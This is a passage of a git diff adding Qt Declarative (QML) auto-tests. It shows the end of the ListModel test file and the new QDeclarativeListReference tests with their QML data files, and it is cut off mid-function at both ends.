+ QSignalSpy spy(model, SIGNAL(itemsChanged(int, int, QList<int>)));
+ QDeclarativeExpression expr(eng.rootContext(), model, expression);
+ expr.evaluate();
+ QVERIFY(!expr.hasError());
+
+ QCOMPARE(model->data(index, role), roleValue);
+ QCOMPARE(spy.count(), 1);
+
+ QList<QVariant> spyResult = spy.takeFirst();
+ QCOMPARE(spyResult.at(0).toInt(), index);
+ QCOMPARE(spyResult.at(1).toInt(), 1); // only 1 item is modified at a time
+ QCOMPARE(spyResult.at(2).value<QList<int> >(), (QList<int>() << role));
+}
+
+void tst_qdeclarativelistmodel::get_data()
+{
+ QTest::addColumn<QString>("expression");
+ QTest::addColumn<int>("index");
+ QTest::addColumn<QString>("roleName");
+ QTest::addColumn<QVariant>("roleValue");
+
+ QTest::newRow("simple value") << "get(0).roleA = 500" << 0 << "roleA" << QVariant(500);
+ QTest::newRow("simple value 2") << "get(1).roleB = 500" << 1 << "roleB" << QVariant(500);
+
+ QVariantMap map;
+ map["zzz"] = 123;
+ QTest::newRow("object value") << "get(1).roleB = {'zzz':123}" << 1 << "roleB" << QVariant::fromValue(map);
+
+ QVariantList list;
+ map.clear(); map["a"] = 50; map["b"] = 500;
+ list << map;
+ map.clear(); map["c"] = 1000;
+ list << map;
+ QTest::newRow("list of objects") << "get(2).roleB = [{'a': 50, 'b': 500}, {'c': 1000}]" << 2 << "roleB" << QVariant::fromValue(list);
+}
+
+void tst_qdeclarativelistmodel::get_worker()
+{
+ QFETCH(QString, expression);
+ QFETCH(int, index);
+ QFETCH(QString, roleName);
+ QFETCH(QVariant, roleValue);
+
+ QDeclarativeListModel model;
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeItem *item = createWorkerTest(&eng, &component, &model);
+ QVERIFY(item != 0);
+ QScriptEngine *seng = QDeclarativeEnginePrivate::getScriptEngine(&eng);
+
+ // Add some values like get() test
+ QScriptValue sv = seng->newObject();
+ sv.setProperty(QLatin1String("roleA"), seng->newVariant(QVariant::fromValue(100)));
+ model.append(sv);
+ sv = seng->newObject();
+ sv.setProperty(QLatin1String("roleA"), seng->newVariant(QVariant::fromValue(200)));
+ sv.setProperty(QLatin1String("roleB"), seng->newVariant(QVariant::fromValue(400)));
+ model.append(sv);
+ model.append(sv);
+ int role = roleFromName(&model, roleName);
+ QVERIFY(role >= 0);
+
+ const char *warning = "<Unknown File>: QML ListModel: Cannot add list-type data when modifying or after modification from a worker script";
+ if (roleValue.type() == QVariant::List || roleValue.type() == QVariant::Map)
+ QTest::ignoreMessage(QtWarningMsg, warning);
+ QSignalSpy spy(&model, SIGNAL(itemsChanged(int, int, QList<int>)));
+
+ // in the worker thread, change the model data and call sync()
+ QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker",
+ Q_ARG(QVariant, QStringList(expression))));
+ waitForWorker(item);
+
+ // see if we receive the model changes in the main thread's model
+ if (roleValue.type() == QVariant::List || roleValue.type() == QVariant::Map) {
+ QVERIFY(model.data(index, role) != roleValue);
+ QCOMPARE(spy.count(), 0);
+ } else {
+ QCOMPARE(model.data(index, role), roleValue);
+ QCOMPARE(spy.count(), 1);
+
+ QList<QVariant> spyResult = spy.takeFirst();
+ QCOMPARE(spyResult.at(0).toInt(), index);
+ QCOMPARE(spyResult.at(1).toInt(), 1); // only 1 item is modified at a time
+ QVERIFY(spyResult.at(2).value<QList<int> >().contains(role));
+ }
+}
+
+void tst_qdeclarativelistmodel::get_worker_data()
+{
+ get_data();
+}
+
+/*
+ Test that the tests run in get() also work for nested list data
+*/
+void tst_qdeclarativelistmodel::get_nested()
+{
+ QFETCH(QString, expression);
+ QFETCH(int, index);
+ QFETCH(QString, roleName);
+ QFETCH(QVariant, roleValue);
+
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng);
+ component.setData(
+ "import QtQuick 1.0\n"
+ "ListModel { \n"
+ "ListElement {\n"
+ "listRoleA: [\n"
+ "ListElement { roleA: 100 },\n"
+ "ListElement { roleA: 200; roleB: 400 },\n"
+ "ListElement { roleA: 200; roleB: 400 } \n"
+ "]\n"
+ "}\n"
+ "ListElement {\n"
+ "listRoleA: [\n"
+ "ListElement { roleA: 100 },\n"
+ "ListElement { roleA: 200; roleB: 400 },\n"
+ "ListElement { roleA: 200; roleB: 400 } \n"
+ "]\n"
+ "listRoleB: [\n"
+ "ListElement { roleA: 100 },\n"
+ "ListElement { roleA: 200; roleB: 400 },\n"
+ "ListElement { roleA: 200; roleB: 400 } \n"
+ "]\n"
+ "listRoleC: [\n"
+ "ListElement { roleA: 100 },\n"
+ "ListElement { roleA: 200; roleB: 400 },\n"
+ "ListElement { roleA: 200; roleB: 400 } \n"
+ "]\n"
+ "}\n"
+ "}", QUrl());
+ QDeclarativeListModel *model = qobject_cast<QDeclarativeListModel*>(component.create());
+ QVERIFY(component.errorString().isEmpty());
+ QDeclarativeListModel *childModel;
+
+ // Test setting the inner list data for:
+ // get(0).listRoleA
+ // get(1).listRoleA
+ // get(1).listRoleB
+ // get(1).listRoleC
+
+ QList<QPair<int, QString> > testData;
+ testData << qMakePair(0, QString("listRoleA"));
+ testData << qMakePair(1, QString("listRoleA"));
+ testData << qMakePair(1, QString("listRoleB"));
+ testData << qMakePair(1, QString("listRoleC"));
+
+ for (int i=0; i<testData.count(); i++) {
+ int outerListIndex = testData[i].first;
+ QString outerListRoleName = testData[i].second;
+ int outerListRole = roleFromName(model, outerListRoleName);
+ QVERIFY(outerListRole >= 0);
+
+ childModel = qobject_cast<QDeclarativeListModel*>(model->data(outerListIndex, outerListRole).value<QObject*>());
+ QVERIFY(childModel);
+
+ QString extendedExpression = QString("get(%1).%2.%3").arg(outerListIndex).arg(outerListRoleName).arg(expression);
+ QDeclarativeExpression expr(eng.rootContext(), model, extendedExpression);
+
+ QSignalSpy spy(childModel, SIGNAL(itemsChanged(int, int, QList<int>)));
+ expr.evaluate();
+ QVERIFY(!expr.hasError());
+
+ int role = roleFromName(childModel, roleName);
+ QVERIFY(role >= 0);
+ QCOMPARE(childModel->data(index, role), roleValue);
+ QCOMPARE(spy.count(), 1);
+
+ QList<QVariant> spyResult = spy.takeFirst();
+ QCOMPARE(spyResult.at(0).toInt(), index);
+ QCOMPARE(spyResult.at(1).toInt(), 1); // only 1 item is modified at a time
+ QCOMPARE(spyResult.at(2).value<QList<int> >(), (QList<int>() << role));
+ }
+}
+
+void tst_qdeclarativelistmodel::get_nested_data()
+{
+ get_data();
+}
+
+//QTBUG-13754
+void tst_qdeclarativelistmodel::crash_model_with_multiple_roles()
+{
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/multipleroles.qml"));
+ QObject *rootItem = component.create();
+ QVERIFY(component.errorString().isEmpty());
+ QVERIFY(rootItem != 0);
+ QDeclarativeListModel *model = rootItem->findChild<QDeclarativeListModel*>("listModel");
+ QVERIFY(model != 0);
+
+ // used to cause a crash in QDeclarativeVisualDataModel
+ model->setProperty(0, "black", true);
+}
+
+//QTBUG-15190
+void tst_qdeclarativelistmodel::set_model_cache()
+{
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/setmodelcachelist.qml"));
+ QObject *model = component.create();
+ QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString()));
+ QVERIFY(model != 0);
+ QVERIFY(model->property("ok").toBool());
+}
+
+void tst_qdeclarativelistmodel::property_changes()
+{
+ QFETCH(QString, script_setup);
+ QFETCH(QString, script_change);
+ QFETCH(QString, roleName);
+ QFETCH(int, listIndex);
+ QFETCH(bool, itemsChanged);
+ QFETCH(QString, testExpression);
+
+ QDeclarativeEngine engine;
+ QDeclarativeListModel model;
+ QDeclarativeEngine::setContextForObject(&model, engine.rootContext());
+ engine.rootContext()->setContextObject(&model);
+
+ QDeclarativeExpression expr(engine.rootContext(), &model, script_setup);
+ expr.evaluate();
+ QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString()));
+
+ QString signalHandler = "on" + QString(roleName[0].toUpper()) + roleName.mid(1, roleName.length()) + "Changed:";
+ QString qml = "import QtQuick 1.0\n"
+ "Connections {\n"
+ "property bool gotSignal: false\n"
+ "target: model.get(0)\n"
+ + signalHandler + " gotSignal = true\n"
+ "}\n";
+ QDeclarativeComponent component(&engine);
+ component.setData(qml.toUtf8(), QUrl::fromLocalFile(""));
+ engine.rootContext()->setContextProperty("model", &model);
+ QObject *connectionsObject = component.create();
+ QVERIFY2(component.errorString().isEmpty(), QTest::toString(component.errorString()));
+
+ QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList<int>)));
+
+ expr.setExpression(script_change);
+ expr.evaluate();
+ QVERIFY2(!expr.hasError(), QTest::toString(expr.error()));
+
+ // test the object returned by get() emits the correct signals
+ QCOMPARE(connectionsObject->property("gotSignal").toBool(), itemsChanged);
+
+ // test itemsChanged() is emitted correctly
+ if (itemsChanged) {
+ QCOMPARE(spyItemsChanged.count(), 1);
+ QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex);
+ QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1);
+ } else {
+ QCOMPARE(spyItemsChanged.count(), 0);
+ }
+
+ expr.setExpression(testExpression);
+ QCOMPARE(expr.evaluate().toBool(), true);
+
+ delete connectionsObject;
+}
+
+void tst_qdeclarativelistmodel::property_changes_data()
+{
+ QTest::addColumn<QString>("script_setup");
+ QTest::addColumn<QString>("script_change");
+ QTest::addColumn<QString>("roleName");
+ QTest::addColumn<int>("listIndex");
+ QTest::addColumn<bool>("itemsChanged");
+ QTest::addColumn<QString>("testExpression");
+
+ QTest::newRow("set: plain") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':123});"
+ << "b" << 0 << true << "get(0).b == 123";
+ QTest::newRow("setProperty: plain") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 123);"
+ << "b" << 0 << true << "get(0).b == 123";
+
+ QTest::newRow("set: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "set(0,{'b':456});"
+ << "b" << 0 << false << "get(0).b == 456";
+ QTest::newRow("setProperty: plain, no changes") << "append({'a':123, 'b':456, 'c':789});" << "setProperty(0, 'b', 456);"
+ << "b" << 0 << false << "get(0).b == 456";
+
+ // Following tests only call set() since setProperty() only allows plain
+ // values, not lists, as the argument.
+ // Note that when a list is changed, itemsChanged() is currently always
+ // emitted regardless of whether it actually changed or not.
+
+ QTest::newRow("nested-set: list, new size") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2}]});"
+ << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2";
+
+ QTest::newRow("nested-set: list, empty -> non-empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});"
+ << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3";
+
+ QTest::newRow("nested-set: list, non-empty -> empty") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[]});"
+ << "b" << 0 << true << "get(0).b.count == 0";
+
+ QTest::newRow("nested-set: list, same size, different values") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':222},{'a':3}]});"
+ << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 222 && get(0).b.get(2).a == 3";
+
+ QTest::newRow("nested-set: list, no changes") << "append({'a':123, 'b':[{'a':1},{'a':2},{'a':3}], 'c':789});" << "set(0,{'b':[{'a':1},{'a':2},{'a':3}]});"
+ << "b" << 0 << true << "get(0).b.get(0).a == 1 && get(0).b.get(1).a == 2 && get(0).b.get(2).a == 3";
+
+ QTest::newRow("nested-set: list, no changes, empty") << "append({'a':123, 'b':[], 'c':789});" << "set(0,{'b':[]});"
+ << "b" << 0 << true << "get(0).b.count == 0";
+}
+
+
+void tst_qdeclarativelistmodel::property_changes_worker()
+{
+ // nested models are not supported when WorkerScript is involved
+ if (QByteArray(QTest::currentDataTag()).startsWith("nested-"))
+ return;
+
+ QFETCH(QString, script_setup);
+ QFETCH(QString, script_change);
+ QFETCH(QString, roleName);
+ QFETCH(int, listIndex);
+ QFETCH(bool, itemsChanged);
+
+ QDeclarativeListModel model;
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8());
+ QDeclarativeItem *item = createWorkerTest(&engine, &component, &model);
+ QVERIFY(item != 0);
+
+ QDeclarativeExpression expr(engine.rootContext(), &model, script_setup);
+ expr.evaluate();
+ QVERIFY2(!expr.hasError(), QTest::toString(expr.error().toString()));
+
+ QSignalSpy spyItemsChanged(&model, SIGNAL(itemsChanged(int, int, QList<int>)));
+
+ QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker",
+ Q_ARG(QVariant, QStringList(script_change))));
+ waitForWorker(item);
+
+ // test itemsChanged() is emitted correctly
+ if (itemsChanged) {
+ QCOMPARE(spyItemsChanged.count(), 1);
+ QCOMPARE(spyItemsChanged.at(0).at(0).toInt(), listIndex);
+ QCOMPARE(spyItemsChanged.at(0).at(1).toInt(), 1);
+ } else {
+ QCOMPARE(spyItemsChanged.count(), 0);
+ }
+
+ delete item;
+ qApp->processEvents();
+}
+
+void tst_qdeclarativelistmodel::property_changes_worker_data()
+{
+ property_changes_data();
+}
+
+void tst_qdeclarativelistmodel::clear()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeListModel model;
+ QDeclarativeEngine::setContextForObject(&model, engine.rootContext());
+ engine.rootContext()->setContextObject(&model);
+
+ QScriptEngine *seng = QDeclarativeEnginePrivate::getScriptEngine(&engine);
+ QScriptValue sv = seng->newObject();
+ QVariant result;
+
+ model.clear();
+ QCOMPARE(model.count(), 0);
+
+ sv.setProperty("propertyA", "value a");
+ sv.setProperty("propertyB", "value b");
+ model.append(sv);
+ QCOMPARE(model.count(), 1);
+
+ model.clear();
+ QCOMPARE(model.count(), 0);
+
+ model.append(sv);
+ model.append(sv);
+ QCOMPARE(model.count(), 2);
+
+ model.clear();
+ QCOMPARE(model.count(), 0);
+
+ // clearing does not remove the roles
+ sv.setProperty("propertyC", "value c");
+ model.append(sv);
+ QList<int> roles = model.roles();
+ model.clear();
+ QCOMPARE(model.count(), 0);
+ QCOMPARE(model.roles(), roles);
+ QCOMPARE(model.toString(roles[0]), QString("propertyA"));
+ QCOMPARE(model.toString(roles[1]), QString("propertyB"));
+ QCOMPARE(model.toString(roles[2]), QString("propertyC"));
+}
+
+QTEST_MAIN(tst_qdeclarativelistmodel)
+
+#include "tst_qdeclarativelistmodel.moc"
diff --git a/tests/auto/declarative/qdeclarativelistreference/data/MyType.qml b/tests/auto/declarative/qdeclarativelistreference/data/MyType.qml
new file mode 100644
index 00000000..0687ce39
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistreference/data/MyType.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property int a
+}
diff --git a/tests/auto/declarative/qdeclarativelistreference/data/engineTypes.qml b/tests/auto/declarative/qdeclarativelistreference/data/engineTypes.qml
new file mode 100644
index 00000000..9ddc7633
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistreference/data/engineTypes.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property list<MyType> myList
+
+ myList: [ MyType { a: 1 },
+ MyType { a: 9 } ]
+
+}
diff --git a/tests/auto/declarative/qdeclarativelistreference/data/variantToList.qml b/tests/auto/declarative/qdeclarativelistreference/data/variantToList.qml
new file mode 100644
index 00000000..39a49e81
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistreference/data/variantToList.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+QtObject {
+ property list<QtObject> myList;
+ myList: QtObject {}
+
+ property variant value: myList
+ property int test: value.length
+}
+
diff --git a/tests/auto/declarative/qdeclarativelistreference/qdeclarativelistreference.pro b/tests/auto/declarative/qdeclarativelistreference/qdeclarativelistreference.pro
new file mode 100644
index 00000000..f3e6f529
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistreference/qdeclarativelistreference.pro
@@ -0,0 +1,8 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativelistreference.cpp
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativelistreference/tst_qdeclarativelistreference.cpp b/tests/auto/declarative/qdeclarativelistreference/tst_qdeclarativelistreference.cpp
new file mode 100644
index 00000000..4d3a0576
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistreference/tst_qdeclarativelistreference.cpp
@@ -0,0 +1,579 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QUrl>
+#include <QFileInfo>
+#include <QDir>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QtDeclarative/qdeclarative.h>
+#include <QtDeclarative/qdeclarativeprivate.h>
+#include <QtDeclarative/qdeclarativeproperty.h>
+#include <QDebug>
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ QFileInfo fileInfo(__FILE__);
+ return QUrl::fromLocalFile(fileInfo.absoluteDir().filePath("data/" + filename));
+}
+
+inline QUrl TEST_FILE(const char *filename)
+{
+ return TEST_FILE(QLatin1String(filename));
+}
+
+class tst_qdeclarativelistreference : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativelistreference() {}
+
+private slots:
+ void initTestCase();
+ void qmllistreference();
+ void qmllistreference_invalid();
+ void isValid();
+ void object();
+ void listElementType();
+ void canAppend();
+ void canAt();
+ void canClear();
+ void canCount();
+ void append();
+ void at();
+ void clear();
+ void count();
+ void copy();
+ void qmlmetaproperty();
+ void engineTypes();
+ void variantToList();
+};
+
+class TestType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeListProperty<TestType> data READ dataProperty)
+ Q_PROPERTY(int intProperty READ intProperty)
+
+public:
+ TestType() : property(this, data) {}
+ QDeclarativeListProperty<TestType> dataProperty() { return property; }
+ int intProperty() const { return 10; }
+
+ QList<TestType *> data;
+ QDeclarativeListProperty<TestType> property;
+};
+
+void tst_qdeclarativelistreference::initTestCase()
+{
+ qmlRegisterType<TestType>();
+}
+
+void tst_qdeclarativelistreference::qmllistreference()
+{
+ TestType tt;
+
+ QDeclarativeListReference r(&tt, "data");
+ QVERIFY(r.isValid() == true);
+ QCOMPARE(r.count(), 0);
+
+ tt.data.append(&tt);
+ QCOMPARE(r.count(), 1);
+}
+
+void tst_qdeclarativelistreference::qmllistreference_invalid()
+{
+ TestType tt;
+
+ // Invalid
+ {
+ QDeclarativeListReference r;
+ QVERIFY(r.isValid() == false);
+ QVERIFY(r.object() == 0);
+ QVERIFY(r.listElementType() == 0);
+ QVERIFY(r.canAt() == false);
+ QVERIFY(r.canClear() == false);
+ QVERIFY(r.canCount() == false);
+ QVERIFY(r.append(0) == false);
+ QVERIFY(r.at(10) == 0);
+ QVERIFY(r.clear() == false);
+ QVERIFY(r.count() == 0);
+ }
+
+ // Non-property
+ {
+ QDeclarativeListReference r(&tt, "blah");
+ QVERIFY(r.isValid() == false);
+ QVERIFY(r.object() == 0);
+ QVERIFY(r.listElementType() == 0);
+ QVERIFY(r.canAt() == false);
+ QVERIFY(r.canClear() == false);
+ QVERIFY(r.canCount() == false);
+ QVERIFY(r.append(0) == false);
+ QVERIFY(r.at(10) == 0);
+ QVERIFY(r.clear() == false);
+ QVERIFY(r.count() == 0);
+ }
+
+ // Non-list property
+ {
+ QDeclarativeListReference r(&tt, "intProperty");
+ QVERIFY(r.isValid() == false);
+ QVERIFY(r.object() == 0);
+ QVERIFY(r.listElementType() == 0);
+ QVERIFY(r.canAt() == false);
+ QVERIFY(r.canClear() == false);
+ QVERIFY(r.canCount() == false);
+ QVERIFY(r.append(0) == false);
+ QVERIFY(r.at(10) == 0);
+ QVERIFY(r.clear() == false);
+ QVERIFY(r.count() == 0);
+ }
+}
+
+void tst_qdeclarativelistreference::isValid()
+{
+ TestType *tt = new TestType;
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.isValid() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.isValid() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.isValid() == true);
+ delete tt;
+ QVERIFY(ref.isValid() == false);
+ }
+}
+
+void tst_qdeclarativelistreference::object()
+{
+ TestType *tt = new TestType;
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.object() == 0);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.object() == 0);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.object() == tt);
+ delete tt;
+ QVERIFY(ref.object() == 0);
+ }
+}
+
+void tst_qdeclarativelistreference::listElementType()
+{
+ TestType *tt = new TestType;
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.listElementType() == 0);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.listElementType() == 0);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.listElementType() == &TestType::staticMetaObject);
+ delete tt;
+ QVERIFY(ref.listElementType() == 0);
+ }
+}
+
+void tst_qdeclarativelistreference::canAppend()
+{
+ TestType *tt = new TestType;
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.canAppend() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.canAppend() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.canAppend() == true);
+ delete tt;
+ QVERIFY(ref.canAppend() == false);
+ }
+
+ {
+ TestType tt;
+ tt.property.append = 0;
+ QDeclarativeListReference ref(&tt, "data");
+ QVERIFY(ref.canAppend() == false);
+ }
+}
+
+void tst_qdeclarativelistreference::canAt()
+{
+ TestType *tt = new TestType;
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.canAt() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.canAt() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.canAt() == true);
+ delete tt;
+ QVERIFY(ref.canAt() == false);
+ }
+
+ {
+ TestType tt;
+ tt.property.at = 0;
+ QDeclarativeListReference ref(&tt, "data");
+ QVERIFY(ref.canAt() == false);
+ }
+}
+
+void tst_qdeclarativelistreference::canClear()
+{
+ TestType *tt = new TestType;
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.canClear() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.canClear() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.canClear() == true);
+ delete tt;
+ QVERIFY(ref.canClear() == false);
+ }
+
+ {
+ TestType tt;
+ tt.property.clear = 0;
+ QDeclarativeListReference ref(&tt, "data");
+ QVERIFY(ref.canClear() == false);
+ }
+}
+
+void tst_qdeclarativelistreference::canCount()
+{
+ TestType *tt = new TestType;
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.canCount() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.canCount() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.canCount() == true);
+ delete tt;
+ QVERIFY(ref.canCount() == false);
+ }
+
+ {
+ TestType tt;
+ tt.property.count = 0;
+ QDeclarativeListReference ref(&tt, "data");
+ QVERIFY(ref.canCount() == false);
+ }
+}
+
+void tst_qdeclarativelistreference::append()
+{
+ TestType *tt = new TestType;
+ QObject object;
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.append(tt) == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.append(tt) == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.append(tt) == true);
+ QVERIFY(tt->data.count() == 1);
+ QVERIFY(tt->data.at(0) == tt);
+ QVERIFY(ref.append(&object) == false);
+ QVERIFY(tt->data.count() == 1);
+ QVERIFY(tt->data.at(0) == tt);
+ QVERIFY(ref.append(0) == true);
+ QVERIFY(tt->data.count() == 2);
+ QVERIFY(tt->data.at(0) == tt);
+ QVERIFY(tt->data.at(1) == 0);
+ delete tt;
+ QVERIFY(ref.append(0) == false);
+ }
+
+ {
+ TestType tt;
+ tt.property.append = 0;
+ QDeclarativeListReference ref(&tt, "data");
+ QVERIFY(ref.append(&tt) == false);
+ }
+}
+
+void tst_qdeclarativelistreference::at()
+{
+ TestType *tt = new TestType;
+ tt->data.append(tt);
+ tt->data.append(0);
+ tt->data.append(tt);
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.at(0) == 0);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.at(0) == 0);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.at(0) == tt);
+ QVERIFY(ref.at(1) == 0);
+ QVERIFY(ref.at(2) == tt);
+ delete tt;
+ QVERIFY(ref.at(0) == 0);
+ }
+
+ {
+ TestType tt;
+ tt.data.append(&tt);
+ tt.property.at = 0;
+ QDeclarativeListReference ref(&tt, "data");
+ QVERIFY(ref.at(0) == 0);
+ }
+}
+
+void tst_qdeclarativelistreference::clear()
+{
+ TestType *tt = new TestType;
+ tt->data.append(tt);
+ tt->data.append(0);
+ tt->data.append(tt);
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.clear() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.clear() == false);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.clear() == true);
+ QVERIFY(tt->data.count() == 0);
+ delete tt;
+ QVERIFY(ref.clear() == false);
+ }
+
+ {
+ TestType tt;
+ tt.property.clear = 0;
+ QDeclarativeListReference ref(&tt, "data");
+ QVERIFY(ref.clear() == false);
+ }
+}
+
+void tst_qdeclarativelistreference::count()
+{
+ TestType *tt = new TestType;
+ tt->data.append(tt);
+ tt->data.append(0);
+ tt->data.append(tt);
+
+ {
+ QDeclarativeListReference ref;
+ QVERIFY(ref.count() == 0);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "blah");
+ QVERIFY(ref.count() == 0);
+ }
+
+ {
+ QDeclarativeListReference ref(tt, "data");
+ QVERIFY(ref.count() == 3);
+ tt->data.removeAt(1);
+ QVERIFY(ref.count() == 2);
+ delete tt;
+ QVERIFY(ref.count() == 0);
+ }
+
+ {
+ TestType tt;
+ tt.data.append(&tt);
+ tt.property.count = 0;
+ QDeclarativeListReference ref(&tt, "data");
+ QVERIFY(ref.count() == 0);
+ }
+}
+
+void tst_qdeclarativelistreference::copy()
+{
+ TestType tt;
+ tt.data.append(&tt);
+ tt.data.append(0);
+ tt.data.append(&tt);
+
+ QDeclarativeListReference *r1 = new QDeclarativeListReference(&tt, "data");
+ QVERIFY(r1->count() == 3);
+
+ QDeclarativeListReference r2(*r1);
+ QDeclarativeListReference r3;
+ r3 = *r1;
+
+ QVERIFY(r2.count() == 3);
+ QVERIFY(r3.count() == 3);
+
+ delete r1;
+
+ QVERIFY(r2.count() == 3);
+ QVERIFY(r3.count() == 3);
+
+ tt.data.removeAt(2);
+
+ QVERIFY(r2.count() == 2);
+ QVERIFY(r3.count() == 2);
+}
+
+void tst_qdeclarativelistreference::qmlmetaproperty()
+{
+ TestType tt;
+ tt.data.append(&tt);
+ tt.data.append(0);
+ tt.data.append(&tt);
+
+ QDeclarativeProperty prop(&tt, QLatin1String("data"));
+ QVariant v = prop.read();
+ QVERIFY(v.userType() == qMetaTypeId<QDeclarativeListReference>());
+ QDeclarativeListReference ref = qvariant_cast<QDeclarativeListReference>(v);
+ QVERIFY(ref.count() == 3);
+ QVERIFY(ref.listElementType() == &TestType::staticMetaObject);
